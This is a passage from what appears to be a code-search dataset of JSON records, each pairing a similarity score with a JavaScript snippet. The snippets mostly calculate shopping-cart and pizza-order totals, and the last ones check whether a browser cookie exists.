document.createElement(\"IMG\");\n\t\t\tx.setAttribute(\"src\", url);\n\t\t\tx.setAttribute(\"width\", \"80\");\n\t\t\tx.setAttribute(\"alt\", actualName);\n\t\t\tpara.appendChild(x);\n\n\t\t\tpara.appendChild(document.createTextNode(ele[i].value));\n\t\t\tpara.appendChild(document.createElement(\"br\"));\n\t\t\tchosenProducts.push(ele[i].value);\n\t\t\tvar price = parseFloat(ele[i].value.substr(ele[i].value.length - 4));\n\t\t\tpriceProducts.push(price); \n\t\t}\n\t}\n\t\t\n\t// add paragraph and total price\n\tc.appendChild(para);\n\tc.appendChild(document.createTextNode(\"Total Price is $\" + getTotalPrice(priceProducts)));\n\t\t\n}", "title": "" }, { "docid": "703e05419481711c0c0c42cf16c836a7", "score": "0.5820663", "text": "getTotalOfCartItems() {\r\n // initialized cart total\r\n var totalCart = 0;\r\n\r\n // calcuate and add quantity of each item\r\n for(var i = 0; i <this.Cart.cart.length; i++){\r\n totalCart += this.Cart.cart[i].ISBN.Quantity;\r\n }\r\n\r\n // set total cart items\r\n this.TotalCartItems = totalCart;\r\n }", "title": "" }, { "docid": "0486fcc95ff20ecd63b7ddb83e03028e", "score": "0.5819447", "text": "function createCart() {\n \"use strict\";\n\n // Get <select> node.\n let selectNode = document.getElementById(\"cart\");\n\n // Remove all child nodes from <select>.\n while (selectNode.firstChild) {\n selectNode.removeChild(selectNode.firstChild);\n }\n\n // Create cart items.\n cart.forEach(function(pizza) {\n\n // Create <option> node and set his attribute nodes.\n let optionNode = document.createElement(\"option\");\n optionNode.setAttribute(\"value\", pizza.name);\n optionNode.id = pizza.id;\n\n // Create and append text node to <option> node.\n let textNode = document.createTextNode(\"Pizza \" + pizza.name);\n optionNode.appendChild(textNode);\n\n // Append <option> node to his parent node.\n selectNode.appendChild(optionNode);\n });\n\n // Get <p> node.\n let priceNode = document.getElementById(\"totalPrice\");\n\n // Remove all child nodes from <p>.\n while (priceNode.firstChild) {\n priceNode.removeChild(priceNode.firstChild);\n }\n\n // Set his attribute nodes.\n priceNode.setAttribute(\"data-price-total\", cartTotal.toFixed(2));\n\n // Create and append text node for <p> node.\n let textNode = document.createTextNode(\"Gesamter Preis: \" + cartTotal.toFixed(2) + \" €\");\n priceNode.appendChild(textNode);\n\n checkSelectSize();\n}", "title": "" }, { "docid": "ab61559a7d3eb3feefd030ab0e1f5d78", "score": "0.5810261", "text": "function sumTotalPrice() {\n return storage.reduce((total, currentValue) => {\n return total + currentValue.price * currentValue.quantity;\n }, 0);\n }", "title": "" }, { "docid": "57d9fe7ae5332c0a66bc135dc97a80f4", "score": "0.5809783", "text": "function renderCart(myCart) {\n\n var min = 1000, max = 10000;\n var totalCost = 0;\n // get container\n var div = document.getElementById('full_order');\n\n var id = Math.floor(Math.random() * (max - min + 1)) + min;\n\n div.innerHTML += '<p>Order #' + id + '</p>';\n\n // if cart contains pizzas\n if (myCart.length) {\n // for every pizza in the cart\n myCart.forEach(function (element) {\n // get it's cost\n var cost = pizzas[element.size][element.kind];\n // check for additional cheese\n if (element.extra_cheese) {\n cost += cheese_cost;\n }\n\n // show size and kind of the pizza\n var str = '<p>' + element.size + ' ' + element.kind;\n\n // show extra cheese option\n if (element.extra_cheese) {\n str += ' with extra cheese';\n }\n // calculate total price for pizza\n cost *= element.quantity;\n\n // show price\n str += ' x' + element.quantity + ' ($' + cost + ')';\n\n var pizza_id = element.size + '_' + element.kind;\n if (element.extra_cheese) {\n pizza_id += '_extra_cheese'\n }\n\n // show created string\n div.innerHTML += str + '<a href=\"./remove?pizza=' + pizza_id + '\" style=\"display: block; float: right\">Remove</a>';\n // calculate total cost\n totalCost += cost;\n });\n // show total for all pizzas in the cart\n div.innerHTML += '<hr/>' + '<p>Total: $' + totalCost + '</p>';\n $('#total_amount').val('$' + totalCost);\n } else {\n // if no pizzas exist in the cart\n // show message\n div.innerHTML = '<p>You have no pizza in your cart</p>';\n // and disable checkout button\n document.getElementById('btn_checkout').disabled = true;\n }\n}", "title": "" }, { "docid": "e57cd4674d11c67246a59ee41aeac40a", "score": "0.58089244", "text": "calculateTotal() {\n let cartTotal = 0.0;\n\n this.contents.forEach((product) => {\n cartTotal += parseFloat(product.subTotal);\n });\n \n this.total = cartTotal.toFixed(2);\n\n this.applyDiscounts();\n }", "title": "" }, { "docid": "4212ede477dd34f3ba2552974196ff96", "score": "0.5794696", "text": "function calcTotal() {\n// get the value and parse from session storage\nlet cart = JSON.parse(sessionStorage.getItem('cart'));\n\n// define a total variable = 0\nlet amount = 0;\n\n // loop through all items in the cart\nfor (let i in cart) {\n amount += cart[i].price;\n\n}\n // add each items price to Total\n\n // return the total\nreturn amount.toFixed(2);\n}", "title": "" }, { "docid": "73ed13df22d30e2fe464c739bb636586", "score": "0.5781131", "text": "function CarritoTotal(){\n let Total = 0;\n const itemCartTotal = document.querySelector(\".itemCartTotal\");\n carrito.forEach((item) => {\n const precio = Number(item.precio.replace(\"$\", \"\"));\n Total = Total + precio*item.cantidad;\n })\n\n itemCartTotal.innerHTML = `Total $${Total}`;\n addLocalStorage();\n}", "title": "" }, { "docid": "20eddc559a76e850e7277cc124235294", "score": "0.5777771", "text": "function selectedItems(){\n\tconsole.log(productsInCart)\n\t\n\tvar c = document.getElementById('displayCart');\n\tc.innerHTML = \"\";\n\t\n\t// build list of selected item\n\tvar para = document.createElement(\"P\");\n\tpara.classList.add(\"selectedItem\");\n\tpara.innerHTML = \"You selected : \";\n\tpara.appendChild(document.createElement(\"br\"));\n\tfor (var prodName in productsInCart) { \n\t\tif (productsInCart[prodName] != 0) {\n\t\t\tpara.appendChild(document.createTextNode(prodName+\" - \"+productsInCart[prodName]));\n\t\t\tpara.appendChild(document.createElement(\"br\"));\n\t\t}\n\t}\n\t\t\n\t// add paragraph and total price\n\tc.appendChild(para);\n\tc.appendChild(document.createTextNode(\"Total Price is \" + getTotalPrice()+ \"$\"));\n\t\t\n}", "title": "" }, { "docid": "24ad08695a2e314daebddc529c914173", "score": "0.57751334", "text": "function computeCart(){\r\n cartTotal = 0;\r\n cartCount = 0;\r\n // loop over all items in cart\r\n for(var i = 0; i < cart.length; i++){\r\n var itemTotal = cart[i].price * cart[i].quantity;\r\n cartTotal += itemTotal;\r\n cartCount += cart[i].quantity;\r\n }\r\n // cater for floating-point issues\r\n cartTotal = Math.round(cartTotal*100)/100;\r\n console.log(cartTotal);\r\n console.log(cartCount);\r\n }", "title": "" }, { "docid": "ade111740b20210e5bb8c23d0ffbb584", "score": "0.57694376", "text": "checkCartQuantity() {\n this.itemsInTheCart = this.booksToBuy.reduce(function(sum, book) {\n return sum + book.quantity;\n }, 0);\n }", "title": "" }, { "docid": "115e6814134362a9cc5322b782bf946c", "score": "0.57679516", "text": "function computeTotalValues() {\n const total = [...$('.cart-items .cart-subtotal')]\n .map((subtotalElm) => Number(subtotalElm.textContent))\n .reduce((a, b) => a + b, 0);\n\n $('.cart-total-price').text(total);\n\n const totalQuantity = $.map(\n $('.cart-items .cart-quantity-input'),\n (input) => +input.value\n ).reduce((a, b) => a + b, 0);\n\n $('.items-number').text(totalQuantity + ' items');\n}", "title": "" }, { "docid": "5da07a4b38044e0a606d1b88680609bb", "score": "0.5752291", "text": "function calculateTotal() {\n logger.info('calculateTotal called');\n var sum = 0.0;\n var selectedVariants = [];\n var products = [];\n _.each($.currentProduct.getSetProducts(), function(setProduct) {\n selectedVariants.push(setProduct.getSelectedVariant());\n products.push(setProduct.getSelectedProductInfo());\n });\n\n _.each(products, function(selectedProduct, index) {\n var variant = _.find(selectedVariants, function(v) {\n return v.getProductId() == selectedProduct.product_id;\n });\n if (variant) {\n sum += (variant.getPrice() * selectedProduct.quantity);\n }\n });\n $.pdp_header_controller.setPrice(sum);\n}", "title": "" }, { "docid": "89d2a257d9675b1f375756067c70cfbb", "score": "0.5746756", "text": "function multiplyPrice(id) {\n\n // dit zorgt ervoor dat de prijs van de pizza vermenigvuldigt wordt met de grootte die je aanklikt\n\n multipliedPrice = sum * pizza_slices[id]; \n\n priceGlobalArray.push(multipliedPrice);\n\n totalPrice = priceGlobalArray.reduce(add, 0);\n\n function add(c, d) {\n return c + d;\n }\n\n document.getElementById('pizza_price').innerHTML = 'De prijs van uw pizza: €' + totalPrice;\n document.getElementById('toppings').style.display = 'none';\n document.getElementById('home_delivery').style.display = 'block';\n document.getElementById('size').style.display = 'block';\n\n console.log(multiplyPrice);\n}", "title": "" }, { "docid": "e7b823d8f42cb66470702872d040bb73", "score": "0.57465", "text": "function addToCart(event){\n\t\n\t//get the name of the button that triggered the event (the inputs have a matching name minus button which is why i remove it.)\n\tname = event.path[0].id.replace(\"button#\", \"\");\n\tamount = parseInt(document.getElementById(`#${name}`).value);\n\t\n\t//if the number is bigger then the cap which they can supparse by typing i reset it to the max (or smaller then 0, set it to 0)\n\tif (amount > 999) {\n\t\tdocument.getElementById(`#${name}`).value = 999;\n\t\tamount = 999;\n\t} else if (amount < 1) {\n\t\tdocument.getElementById(`#${name}`).value = 0;\n\t\tamount = 0;\n\t\treturn;\n\t}\n\t\n\t//if item is already in cart increase the amount by the new amount\n\tif (chosenProducts.includes(name)){\n\t\tvar index = chosenProducts.indexOf(name) + 1;\n\t\tchosenProducts[index] += amount;\n\t} else {\t//add the new items to the array\n\t\tchosenProducts.push(name.replace(\"#\", \"\"));\n\t\tchosenProducts.push(amount);\n\t}\n\n\t//reset the input (indicates the item has been added)\n\tdocument.getElementById(`#${name}`).value = 0\n}", "title": "" }, { "docid": "a921d18fe9db47c87dfd1d69ebe0ac7d", "score": "0.5745624", "text": "function setTotal(){\n let total = 0;\n for(let i = 0; i < cart.length; i++){\n totalPrice = cart[i].price * cart[i].quantity;\n total += totalPrice;\n }\n totalAmount.innerHTML = '&#8358;' + total;\n return total;\n}", "title": "" }, { "docid": "e8558f8aea6dd2a4fa466f0098496770", "score": "0.5745191", "text": "function updateTotpris() {\n var total = 0;\n\n for (var i = 0; i < cartItems.length; i++) {\n total += cartItems[i].price;\n }\n var price = document.getElementById(\"totalpris\")\n price.innerText = \"Totalt pris: \" + total + \"kr\";\n}", "title": "" }, { "docid": "420e7a13dc0eb9a3437834418ddf1457", "score": "0.5724613", "text": "function total_cart() {\r\n var total_cost = 0;\r\n for (var i in cart) {\r\n // total cost with VAT\r\n total_cost += cart[i].price * cart[i].count * 1.2;\r\n }\r\n // Decimal to 2 decimal places\r\n return total_cost.toFixed(2);\r\n}", "title": "" }, { "docid": "f1e1daa73b6857693a9aa350cba67437", "score": "0.5718678", "text": "function UpdateCartNavbarAndSubtotal(){\n var getListOfProducts = localStorage.getItem('productList');\n if(getListOfProducts){\n listOfAddedProducts = JSON.parse(getListOfProducts);\n var totalPrice = 0;\n for(l of listOfAddedProducts){\n totalPrice += Number(l.price) * Number(l.amount);\n }\n var twoDecPrice = totalPrice.toFixed(2);\n var totalSum = Number(twoDecPrice) + Number(shippingFee);\n var totalSumDec = totalSum.toFixed(2);\n\n $('.totalPriceInCart').text(twoDecPrice);\n $('#subtotal').text(twoDecPrice);\n $('#total').text(Number(totalSumDec));\n }\n }", "title": "" }, { "docid": "83ec323afdd45e5f87407b5e9a57da68", "score": "0.57167286", "text": "function selectedItems(){\n\t\n\t//Getting the elements in the product page\n\tvar ele = document.getElementsByName(\"product\");\n\tvar chosenProducts = [];\n\t\n\t//Getting and prepping the divs to have dynamic conent put in it\n\tlet priceText = document.getElementById(\"totalCost\");\n\tvar c = document.getElementById('displayCart');\n\tc.innerHTML = \"\";\n\tpriceText.innerHTML = \"\";\n\tfor (i = 0; i < ele.length; i++) { \n\t\tif (ele[i].checked) {\n\n\t\t\t chosenProducts.push(ele[i].value);\n\t\t\tlet product;\n\t\t\tlet prodName = ele[i].value;\n\t\t\t products.forEach( val => {if (val['name'] === prodName) product = val});\n\t\t\t let item = createItem(prodName, product['pic'] , product['price'], false);\n\t\t\tc.appendChild(item);\n\t\t}\n\n\t}\n\t\t\n\t// add paragraph and total price\n\tpriceText.appendChild(document.createTextNode(\"Total Price is $\" + getTotalPrice(chosenProducts)));\n\t\t\n}", "title": "" }, { "docid": "88dda102a5331d0ab5d54fa714ab431b", "score": "0.5708661", "text": "function updateCartPrice() {\n var price = 0;\n for (var item in cart.items) {\n price += products[item].product.computeNetPrice(cart.items[item]);\n }\n // Prices are fixed to 2 decimal places\n cart.price = price.toFixed(2);\n updateCartButton(cart.price);\n}", "title": "" }, { "docid": "200bb6619cf42992818c122e461fde1e", "score": "0.5708347", "text": "function UpdateCartTotals() {\n\tvar totalPrice = 0.00;\n\tvar totalNumberItems = 0;\n\t$.each($('input[name^=\"CartItems[\"][name$=\".Price\"]'), function (index, value) { totalPrice += parseFloat(value.value); });\n\t$.each($('input[name^=\"CartItems[\"][name$=\".Quantity\"]'), function (index, value) { totalNumberItems += parseFloat(value.value); });\n\tvar total = totalNumberItems.toString() + \" items, $\" + totalPrice.toFixed(2);\n\t$('#cartTotals').val(total);\n\t$('#cartTotalAtPayment').val(total);\n}", "title": "" }, { "docid": "2b8a758158d32e25dcc8fc8eab05e277", "score": "0.57076293", "text": "function updateTotal() {\n total = 0;\n let productPriceElement = document.querySelector(`.cart-items`).querySelectorAll(`.cartRow`);\n let productQuantityElement = document.querySelector(`.cart-items`).querySelectorAll(`.cartRow`);\n for (let i = 0; i < productPriceElement.length; i++) {\n total += Number(productPriceElement[i].querySelector(`.in-cart-price`).textContent.replace(`$`, ``)) * Number(productQuantityElement[i].querySelector(`input`).value);\n };\n total = Math.round(total * 1) / 1;\n document.querySelector(`.cost`).querySelector(`span`).textContent = `$${total}`;\n}", "title": "" }, { "docid": "b07b26782399897c13bf35eaaffd1ad6", "score": "0.56935024", "text": "function sumPrices(cartArray) {\n // for loop through array, sum value of price attribute for each object\n var total = 0; \n for (var i = 0; i < cartArray.length; i++) {\n if (cartArray[i].price) {\n total = total + cartArray[i].price;\n }\n }\n // TODO: print total as HTML to page, next to cart icon\n console.log(total);\n}", "title": "" }, { "docid": "7bbc88e608b5253792f38a2b6651ae2f", "score": "0.5688055", "text": "setCartValues(cart) {\n let itemsTotal = 0;\n let totalPrice = 0;\n cart.map(item => {\n // to control the qnty \n itemsTotal += item.amount;\n // to control the total price \n totalPrice += item.price * item.amount;\n });\n // here i change item num in the nav \n cartItems.innerText = itemsTotal;\n // here i change the total \n CartTotal.innerText = parseFloat(totalPrice.toFixed(2));\n console.log(cartItems, CartTotal)\n\n\n }", "title": "" }, { "docid": "3ab80c3820f15a56d6fc21728ac241bf", "score": "0.56873655", "text": "function calculateAmountInCart() {\n var $priceProductsInCart = $('.product-price span').text()\n .split('$').filter(Boolean).map(Number),\n $totalAmount = $priceProductsInCart.reduce((a, b) => a + b, 0).toFixed(2);\n\n $('#total-amount').text(`$ ${$totalAmount}`);\n $('.mini-cart-amount').text(`$ ${$totalAmount}`)\n }", "title": "" }, { "docid": "51ef1af14e88f2c55983a78da5a81cc9", "score": "0.5683665", "text": "function addSelectedItemToCart() {\n // TODO: suss out the item picked from the select list\n var itemSelector = document.getElementById('items');\n var cartItems = itemSelector.options[itemSelector.selectedIndex].text;\n \n // TODO: get the quantity\n var itemQuan = document.querySelector('#quantity');\n var quantity = parseInt(itemQuan.value);\n console.log(cartItems, quantity);\n // TODO: using those, create a new Cart item instance\n new CartItem(cartItems, quantity);\n //console.log(new CartItem(cartItems, quantity));\n console.log(CartItem.allItems);\n}", "title": "" }, { "docid": "02b1af329966a56af7e600e484a63df9", "score": "0.56833184", "text": "function getTotalPrice() {\n let total = 0;\n if(deleteButtons.length === 0){\n totalPrice.innerText = `$0`\n }\n for(let i=0; i < priceOfProduct.length; i++){\n\n if(quantityOfProductInput[i].value\n .length === 0){\n quantityOfProductInput[i].value = 0\n }\n\n if(typeof parseInt(quantityOfProductInput[i].value) != \"number\"){\n quantityOfProductInput[i].value = 0\n }\n\n let totalPerProduct = parseFloat(priceOfProduct[i].innerHTML.slice(1)) * parseInt(quantityOfProductInput[i].value);\n totalPriceOfProduct[i].innerHTML = `$${totalPerProduct}`;\n total += totalPerProduct;\n totalPrice.innerHTML = `$${total}`;\n \n\n}\n}", "title": "" }, { "docid": "e834b6996f73b5c535a3ecb4031ef58c", "score": "0.56783634", "text": "function calculTotalPrice(){\n totalPrice = 0;\n $.each(localStorage, function(index, value){\n if((index != -1) && (index != -2)){\n var product = JSON.parse(localStorage.getItem(index));\n totalPrice += (product.price*product.quantity);\n }\n });\n }", "title": "" }, { "docid": "84e6b204b1e73d3041dae6f8a302ae90", "score": "0.5657666", "text": "function updateCartTotal() {\n // get the elelem of cart item container <div class=\"cart-items\">\n var cartItemContainer = document.getElementsByClassName('cart-items')[0]\n // get all the rows of the cart\n var cartRows = cartItemContainer.getElementsByClassName('cart-row')\n // create total variable and assign value 0 to it so to keep it integer\n var total = 0\n // loop through all the cart row and means cartRows.length\n for (var i = 0; i < cartRows.length; i++) {\n var cartRow = cartRows[i]\n // get the price in each row\n var priceElement = cartRow.getElementsByClassName('cart-price')[0]\n // get the quantity in each row\n var quantityElement = cartRow.getElementsByClassName('cart-quantity-input')[0]\n // convert the price element to the float integet and put it in order SEK\n var price = parseFloat(priceElement.innerText.replace('SEK', ''))\n // get the quantity value\n var quantity = quantityElement.value\n\n // calculate the total according to -- total price will be plus on each itreation and the price and quantity will be multiplied\n total = total + (price * quantity)\n }\n // convet total to integer float integet\n total = Math.round(total * 100) / 100\n // get the elemnt of cart total price and and inner text 'SEK' + total (variable)\n document.getElementsByClassName('cart-total-price')[0].innerText = 'SEK' + total\n}", "title": "" }, { "docid": "6578d05eb9653d9eac9e68b437bcea39", "score": "0.5657515", "text": "function addItemToCart(name, price, idInputQty) {\n //console.log(name,price,idInputQty);\n var qty = document.getElementById(idInputQty).value;\n for (var i in cart) {\n if (cart[i].name === name) {\n cart[i].qty += qty;\n return;\n }\n }\n var item = new Item(name, price, qty);\n cart.push(item);\n\n //display the item in teh list (cart)\n var tr = '<tr><td>' + name + '</td><td>' + qty + '</td><td>' + price + '</td><td>' + (qty * price).toFixed(2) + '</td></tr>';\n document.getElementById(\"tblCart\").innerHTML += tr;\n \n //update the total to pay\n total += price * qty;\n \n //display the new total\n document.getElementById('total').value = total.toFixed(2);\n}", "title": "" }, { "docid": "fa52c778693a1b89aa81540a06b4184a", "score": "0.5653829", "text": "function updateCartTotal() {\r\n var cartItemContainer = document.getElementsByClassName('cart-items')[0] // Change cart-items\r\n var cartRows = cartItemContainer.getElementsByClassName('cart-row') // Change cart-row\r\n var total = 0\r\n for (var i = 0; i < cartRows.length; i++) {\r\n var cartRow = cartRows[i]\r\n var priceElement = cartRow.getElementsByClassName('cart-price')[0] // Change cart-price\r\n var quantityElement = cartRow.getElementsByClassName('cart-quantity-input')[0] // Change cart-quantity-input\r\n //console.log(priceElement,quantityElement)\r\n var price = parseFloat(priceElement.innerText.replace('€', ''))\r\n var quantity = quantityElement.value // Gets the value element of the input\r\n //console.log(price * quantity)\r\n total = total + (price * quantity)\r\n }\r\n total = Math.round(total * 100) / 100 // Round the number to 2 decimal places\r\n document.getElementsByClassName('cart-total-price')[0].innerText = '€' + total\r\n}", "title": "" }, { "docid": "154818c619377598f309d247b3699c69", "score": "0.5652979", "text": "function addProductToCart(product) {\n var isProductInCart = false;\n if(service.selectedProducts.length > 0) {\n service.selectedProducts.forEach(function (selectedProduct) {\n if (product.code === selectedProduct.code) {\n selectedProduct.quantity++;\n isProductInCart = true;\n }\n });\n }\n if(!isProductInCart){\n product.quantity = 1;\n service.selectedProducts.push(product);\n }\n LocalStorageService.storeData('selected-products', service.selectedProducts);\n }", "title": "" }, { "docid": "c5c084b1324a204dd304808411861f0a", "score": "0.5646256", "text": "function AddPizza() {\r\n\tAddedPizza = document.getElementById(\"AddNewPizza\"); // Krijgt de submit informatie\r\n\r\n\t//Pizza counter\r\n\tfor (var i = 0; i < AddedPizza.length; i++) { // For loop om iedere knop te checken\r\n\t\tif(AddedPizza[i].checked) { // If om te checken of de knop is geselecteerd\r\n\t\t\tif(AddedPizza[i].value == \"Small\") { // First check of kleine pizza knop is ingedrukt\r\n\t\t\t\tfor(f = 0; f < document.getElementById(\"AmountOfPizzaAdded\").value; f++) { // For loop voor het aantal pizza's\r\n\t\t\t\t\tPizzaList.push(Small); // Pizza bij de lijst doen\r\n\t\t\t\t\tPizzaCount[0] += 1; // Een optellen bij het aantal kleine pizza's\r\n\t\t\t\t\tconsole.log(\"Added small pizza\"); // Debug log\r\n\t\t\t\t}\r\n\t\t\t} else if(AddedPizza[i].value == \"Medium\") { // 2e check, dit is een repeated functie, comments zijn hetzelfde\r\n\t\t\t\tfor(f = 0; f < document.getElementById(\"AmountOfPizzaAdded\").value; f++) {\r\n\t\t\t\t\tPizzaList.push(Medium);\r\n\t\t\t\t\tPizzaCount[1] += 1;\r\n\t\t\t\t\tconsole.log(\"Added medium pizza\");\r\n\t\t\t\t}\r\n\t\t\t} else if(AddedPizza[i].value == \"Large\") {\r\n\t\t\t\tfor(f = 0; f < document.getElementById(\"AmountOfPizzaAdded\").value; f++) {\r\n\t\t\t\t\tPizzaList.push(Large);\r\n\t\t\t\t\tPizzaCount[2] += 1;\r\n\t\t\t\t\tconsole.log(\"Added large pizza\");\r\n\t\t\t\t}\r\n\t\t\t} else {\r\n\t\t\t\tconsole.log(\"Error while adding pizza\"); // Debug log voor error\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\r\n\t// Verander de div door de informatie bij elkaar op te tellen en in de div te stoppen\r\n\tdocument.getElementById(\"AllPizzaList\").innerHTML = 'Kleine pizzas: ' + PizzaCount[0] + ', medium pizzas: ' + PizzaCount[1] + ' en large pizzas: ' + PizzaCount[2];\r\n\r\n\t// Pizza calculator (prijs), ook zet hij de pizza's in een <p>\r\n\tPriceSmall = PizzaCount[0] * Small[1];\r\n\tPriceMedium = PizzaCount[1] * Medium[1];\r\n\tPriceLarge = PizzaCount[2] * Large[1];\r\n\tPrice = PriceSmall + PriceMedium + PriceLarge;\r\n\tdocument.getElementById(\"SmallPrice\").innerHTML = 'Kleine pizza prijs: €' + PriceSmall;\r\n\tdocument.getElementById(\"MediumPrice\").innerHTML = 'Medium pizza prijs: €' + PriceMedium;\r\n\tdocument.getElementById(\"LargePrice\").innerHTML = 'Grote pizza prijs prijs: €' + PriceLarge;\r\n\tdocument.getElementById(\"TotalPrice\").innerHTML = 'Totale prijs: €' + Price;\r\n}", "title": "" }, { "docid": "8c37e613366d8de44c43384c6b4667f9", "score": "0.5644682", "text": "function sumarTotalPrecios(){\n\n\tvar precioItem = $(\".nuevoPrecioProducto\");\n\t\n\tvar arraySumaPrecio = []; \n\n\tfor(var i = 0; i < precioItem.length; i++){\n\n\t\t arraySumaPrecio.push(Number($(precioItem[i]).val()));\n\t\t\n\t\t \n\t}\n\n\tfunction sumaArrayPrecios(total, numero){\n\n\t\treturn total + numero;\n\n\t}\n\n\tvar sumaTotalPrecio = arraySumaPrecio.reduce(sumaArrayPrecios);\n\t\n\t$(\"#nuevoTotalVenta\").val(sumaTotalPrecio);\n\t$(\"#totalVenta\").val(sumaTotalPrecio);\n\t$(\"#nuevoTotalVenta\").attr(\"total\",sumaTotalPrecio);\n\n\n}", "title": "" }, { "docid": "971dced594c0a4357fdde94068844377", "score": "0.56187916", "text": "function updateCartTotal() {\r\n var cartItemContainer = document.getElementById('cart-items');\r\n var cartRows = cartItemContainer.getElementsByClassName('cart-row')[0];\r\n\r\n var total = 0;\r\n\r\n for (var i = 0; i < cartRows.length; i++) {\r\n var cartRow = cartRows[i];\r\n var priceElement = cartRow.getElementsByClassName('cart-price')[0];\r\n var quantityElement = cartRow.getElementsByClassName('cart-quantity-input')[0];\r\n var price = parseFloat(priceElement.innerText.replace('$', ''));\r\n var quantity = quantityElement.value;\r\n\r\n total = total + (price * quantity); \r\n }\r\n\r\n \r\n document.getElementById('cart-total-price')[0].innerText = '$' + total;\r\n}", "title": "" }, { "docid": "e202afc73c72829fd7091b01f58ea2db", "score": "0.56183547", "text": "function addToCart() {\n if (!selectedSize) {\n setModal(!isModal);\n return;\n };\n let newP = {\n \"name\": Product.name,\n \"image\": Product.image,\n \"price\": Product.price,\n \"description\": Product.description,\n \"size\": selectedSize\n }\n\n // let cartList = [...cart.keys()];\n //Since we are adding a product object to our cart, the map cannot check for equality unless it uses\n // deep equality. So we need to check through the map if the item name and size match with any other in the map.\n let itemFound = false;\n [...cart.keys()].map((e) => {\n if (e.name === newP.name && e.size === newP.size) {\n setCart(cart.set(e, cart.get(e) + 1));\n itemFound = true;\n return;\n }\n });\n\n // if no matching items are found, add a new key to the map, with quantity of 1.\n if (!itemFound) {\n setCart(cart.set(newP, 1));\n }\n setTotalItems(totalItems + 1);\n }", "title": "" }, { "docid": "898cb739b3813621d485a1f38d22faaf", "score": "0.5618349", "text": "function paintCart(){\n // Ocualtamos todo el contenido de la clase \"fantasma\"\n // Y mostramos el \"loading\"\n $('#carrito').fadeOut(0);\n $('#notItem').fadeOut(0);\n $('#loading').fadeIn(0);\n\n // Grabar en localstorage el contenido actual del carrito\n localStorage.setItem(\"cart\", JSON.stringify(cart));\n let html = \"\";\n let total = 0;\n for (const key in cart) {\n if (cart.hasOwnProperty(key)) {\n const element = cart[key];\n let item = data[key]; \n total += item.price * element ;\n html += `<tr>\n <td class=\"text-center\"><img src=\"img/${item.img}\" width=\"50px\"/></td>\n <td>${item.name}</td>\n <td class=\"text-center\">${element} x ${item.price}€</td>\n <td class=\"text-center\">${item.price * element}€</td>\n <td>\n <buttom class=\"myButton2\" onclick=\"addToCart(${key})\">+</buttom>\n <buttom class=\"myButton2\" onclick=\"removeToCart(${key})\">-</buttom>\n </td>\n </tr>`; \n }\n }\n\n html += `<tr class=\"trTotal\">\n <td></td>\n <td></td>\n <td class=\"text-center\">Total:</td>\n <td class=\"text-center\">${total}€</td>\n <td></td>\n </tr>`; \n \n $('#lista-carrito tbody').html(html);\n\n $('#loading').fadeOut(250);\n\n // Si no hay ningun objeto\n // Mostrar mensaje de vacio y sino mostramos la lista\n setTimeout(() =>{\n if(total == 0){ \n $('#notItem').fadeIn();\n }else{\n $('#carrito').fadeIn();\n }\n }, 250)\n}", "title": "" }, { "docid": "8238221b180df954bbd8f2f601e05148", "score": "0.5603684", "text": "function calculatePrice() {\n let total = 0;\n for(let i=0; i<$(\".item\").length; i++){\n let price = $(\".item\").eq(i).find(\"input.price\").val();\n let qty = $(\".item\").eq(i).find(\"input.qty\").val();\n total += price*qty;\n $(\".item-price\").eq(i).text(\"£\" + price*qty);\n }\n $(\"#total\").text(\"£\" + total);\n }", "title": "" } ]
efa3f8a78cef80029df22d5ed623ac61
Check if a cookie exists, and print message into console if ok.
[ { "docid": "ce6456bcd1db9a6763900f6917e8f86c", "score": "0.7937316", "text": "function checkCookie(name, message = \"cookie found : \") {\r\n let username = getCookie(name);\r\n if (username !== \"\") {\r\n console.log(message + name + \" : \" + username);\r\n }\r\n}", "title": "" } ]
[ { "docid": "a36a594d86be0d0d8aa71e06de80a1a7", "score": "0.7680181", "text": "function cookieExists() {\n return typeof $.cookie(cookie) !== 'undefined';\n }", "title": "" }, { "docid": "1baabaf213024920e01ce6d2729aae7c", "score": "0.74630094", "text": "function checkCookie() {\n var myCookie = getCookie(\"uaWeb\");\n\n if (myCookie == null) {\n // do cookie doesn't exist stuff;\n $('.onLoad').show();\n } else {\n // do cookie exists stuff\n $('.onLoad').hide();\n $('.advContainer').hide();\n $('.social').show();\n $('.headBar').css('margin-bottom', '0');\n }\n }", "title": "" }, { "docid": "e52301abb4a4016fd357a5ee37032437", "score": "0.7387844", "text": "function getCheckCookie() {\r\n\treturn $.cookies.test();\r\n}", "title": "" }, { "docid": "1a84375ea9084e8a3b8f35712fc6c658", "score": "0.73657835", "text": "function cookieCheck() {\n if (document.cookie === \"verified\") {\n successChecker(true);\n console.log(`Cookie checked`);\n } else if (document.cookie === \"notVerified\") {\n successChecker(false);\n console.log(\"no cookies found\");\n }\n}", "title": "" }, { "docid": "f670f103ee86eb965cf828c2a2a57cda", "score": "0.7348325", "text": "function cookieExist() {\n\treturn cookieValue != undefined || cookieValue != '';\n}", "title": "" }, { "docid": "ab6fcb786ed77e2db8c8368b8375312b", "score": "0.73148406", "text": "function cookieExists() {\n if (typeof $.cookie('accessToken') === 'undefined') {\n return false;\n }\n return true;\n }", "title": "" }, { "docid": "833d9fa84fe2b0dd3c8bcd945bd5d292", "score": "0.7152731", "text": "function cookieFileExists() {\n log(\"cookie file exists.\");\n storage.readFile(COOKIE_FILE_NAME, function(filedata) {\n var data;\n function bailOut() {\n log(\"cookie file is not valid.\");\n storage.killFile(COOKIE_FILE_NAME, initiateHandshake);\n }\n try {data = JSON.parse(filedata);}\n catch (e) {return bailOut();}\n if (!data) return bailOut();\n if (!('expires' in data)) return bailOut();\n if (data.expires < myClock.originalClock()) return bailOut();\n token = data;\n haveToken();\n });\n }", "title": "" }, { "docid": "7c8d7bd91475524bdda8d87c710e1a69", "score": "0.7108644", "text": "function jchtml5_cookie_exists(cname){\n\tvar exists=jchtml5_cookie_get(cname);\n\tif (exists!=\"\" && exists!=null)\n\t return 1;\n\telse \n\t return 0;\n}", "title": "" }, { "docid": "7c8d7bd91475524bdda8d87c710e1a69", "score": "0.7108644", "text": "function jchtml5_cookie_exists(cname){\n\tvar exists=jchtml5_cookie_get(cname);\n\tif (exists!=\"\" && exists!=null)\n\t return 1;\n\telse \n\t return 0;\n}", "title": "" }, { "docid": "8f030ebf3799b6af0ffeac04ba368746", "score": "0.70586765", "text": "function checkCookie(cookieToCheck){\n var cookie = getCookie(cookieToCheck);\n if (cookie != \"\") {\n return true;\n }\n return false;\n }", "title": "" }, { "docid": 